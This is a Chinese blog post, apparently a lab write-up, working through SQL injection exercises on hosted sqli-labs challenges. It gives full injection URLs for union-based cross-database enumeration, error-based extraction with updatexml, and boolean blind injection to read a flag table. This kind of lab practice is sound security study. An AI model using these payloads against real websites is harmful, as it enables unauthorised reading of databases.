当前位置:网站首页>sql跨库注入
sql跨库注入
2022-06-12 14:18:00 【_小飒】
靶场:https://buuoj.cn/challenges 的sqli-labs
联合查询注入
L1:首先看有什么数据库
select group_concat(schema_name) from information_schema.schemata
完整url:
http://d63b4dad-c1d6-4e18-98e2-820c070a23b8.node4.buuoj.cn/Less-1/?id=-11' union select 1,2,(
select group_concat(schema_name) from information_schema.schemata
)'

选择“ctftraining”数据库
http://d63b4dad-c1d6-4e18-98e2-820c070a23b8.node4.buuoj.cn/Less-1/?id=-11' union select 1,2,(
select group_concat(table_name) from information_schema.tables where table_schema="ctftraining"
)'

选择名为flag的table
http://d63b4dad-c1d6-4e18-98e2-820c070a23b8.node4.buuoj.cn/Less-1/?id=-11' union select 1,2,(
select group_concat(column_name) from information_schema.columns where table_schema="ctftraining" and table_name='flag'
)'
查询内容
?id=-1' union select 1,2,(
select flag from ctftraining.flag
)'

报错查询注入
采用报错注入步骤是类似的,最后flag显示不全
?id=1111+and+updatexml(1,concat(0x7e,(
select flag from ctftraining.flag
),0x7e),1); --+

http://d7275205-467b-4f6c-97e6-4669e55b54e9.node4.buuoj.cn/Less-2/?id=1111+and+updatexml(1,concat(0x7e,(
substr((select flag from ctftraining.flag),16)
),0x7e),1); --+

布尔盲注
先练习下不跨库的
获取长度
?id=1' and length(database())=8 %23
获取数据库名字
?id=1' and left(database(),1)='s' %23
获取表名
?id=1' and left( (select group_concat(table_name) from information_schema.tables where table_schema=database()) ,1)='u' %23
获取列名
?id=1' and left( (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users') ,1)='u' %23
获取数据
http://c370bae3-f008-47ee-9890-d14960b1e5ce.node4.buuoj.cn/Less-8/?id=1' and left(
(select group_concat(username) from users)
,1)='u' %23
边栏推荐
- Remote code injection
- Two methods of QT using threads
- Postgresql14 installation and use tutorial
- C语言中主函数调用另外一个函数,汇编代码理解
- Use Baidu AIP to obtain the text in the specified area of the screen
- Printing colored messages on the console with printf
- Webdriver opens in full screen and a prompt "Chrome is under the control of automatic test software" appears in Chrome
- Location (I) error: command erred out with exit status
- Conversion of player's actual 10 pixel format and size
- Appnium (I) basic use of appnium
猜你喜欢

Lua tvalue structure

Location (I) error: command erred out with exit status

Dynamic search advertising intelligent search for matching keywords

Visual positioning guidance system for industrial manipulator (robot)

Player actual combat 14 display YUV

Leetcode 2176. Count equal and divisible pairs in an array

Pay attention to click and pursue more users to enter the website. What bidding strategy can you choose?

JS (II) syntaxerror: cannot use import statement outside a module

Lua callinfo structure, stkid structure resolution

Player actual combat 21 audio and video synchronization
随机推荐
C語言中主函數調用另外一個函數,匯編代碼理解
面向优化科学研究领域的软件包
高考回憶錄
QT link error: undefined reference to VTable for "XXX“
JS (III) convert ES6 syntax to Es5 syntax
Communication flow analysis
Printing colored messages on the console with printf
PMP敏捷知识点
Wait function in SystemC
Configuring OSPF pseudo connection for Huawei devices
Unhandled exception stack overflow
Des File Encryptor based on MFC framework
Redis核心配置和高级数据类型
Use Baidu AIP to obtain the text in the specified area of the screen
Crack WinRAR to ad pop-up window
Codeforces Round #798 (Div. 2)(A~D)
C magic skill Chapter 4 (detailed explanation of memory function)
Player practice 15 xdemux and avcodecparameters
对某热水软件的加密参数逆向
QT to realize the simple use of SQLite database